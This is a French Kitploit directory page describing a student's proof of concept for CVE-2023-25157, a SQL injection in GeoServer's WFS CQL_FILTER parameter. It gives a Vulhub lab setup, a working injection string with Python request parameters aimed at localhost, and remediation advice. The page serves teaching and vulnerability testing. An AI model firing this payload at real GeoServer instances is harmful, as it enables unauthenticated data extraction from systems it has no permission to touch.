Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
geoserver-CVE-2023-25157 — Exploit de preuve de concept pour CVE-2023-25157, une vulnérabilité d'injection SQL aveugle dans le paramètre WFS CQL_FILTER de GeoServer, permettant l'extraction de données non authentifiée. | Kitploit
Outils/GitHubGitHub/custiya/geoserver-cve-2023-25157
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Exploit de preuve de concept pour CVE-2023-25157, une vulnérabilité d'injection SQL aveugle dans le paramètre WFS CQL_FILTER de GeoServer, permettant l'extraction de données non authentifiée.

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

geoserver CVE-2023-25157

Kim Jeong-woo, 3e promotion White Hat [classe 30]


Lien GitHub - https://github.com/custiya/geoserver-CVE-2023-25157

Résumé de la vulnérabilité

  • CVE-2023-25157 est une vulnérabilité de type SQLi affectant GeoServer, une application web open source de service de données cartographiques.
  • Elle se produit dans certaines versions de GeoServer 2.22.0 et inférieures.
  • Le paramètre CQL_FILTER des requêtes WFS (Web Feature Service) est vulnérable.
  • Si cette API est accessible sans authentification, n'importe qui peut l'exploiter.

Configuration de l'environnement

  • Exécutez l'environnement de test avec la commande docker compose up -d
  • Vous pouvez accéder à la page via http://your-ip:8080/geoserver
  • Vous devez d'abord trouver un espace de travail existant contenant un magasin de données PostGIS.
  • L'instance GeoServer de Vulhub contient déjà un magasin de données PostGIS.
    • Nom de l'espace de travail : vulhub
    • Nom du magasin de données : pg
    • Nom de la table : example
    • Attribut utilisé : name

poc.py

  • Il s'agit d'une syntaxe SQLi construite à partir de ce qui a été décrit ci-dessus.
  • Cette syntaxe est envoyée au serveur à l'aide du module request.
  • strStartsWith(name,'x'') = true
    • Ajoute un ' supplémentaire après x pour casser la syntaxe SQL.
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • La fonction version() renvoie la version actuelle de PostgreSQL sous forme de chaîne de caractères.
    • CAST(... AS integer) force la conversion en entier, ce qui provoque une erreur.
    • Le serveur renvoie alors un message d'erreur, ce qui permet de tester l'injection SQL aveugle (Blind SQL Injection).
# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

Résultat

Alt text

Conclusion

  • Grâce à ce PoC, nous avons pu déterminer si une injection SQL se produit. Un attaquant pourrait probablement collecter des informations système via des requêtes SQL.
  • Pour empêcher cette attaque, une validation des entrées utilisateur doit être ajoutée. De plus, plutôt que de traduire et d'utiliser directement la syntaxe SQL reçue, celle-ci doit être stockée séparément avant d'être utilisée.
Télécharger l’outil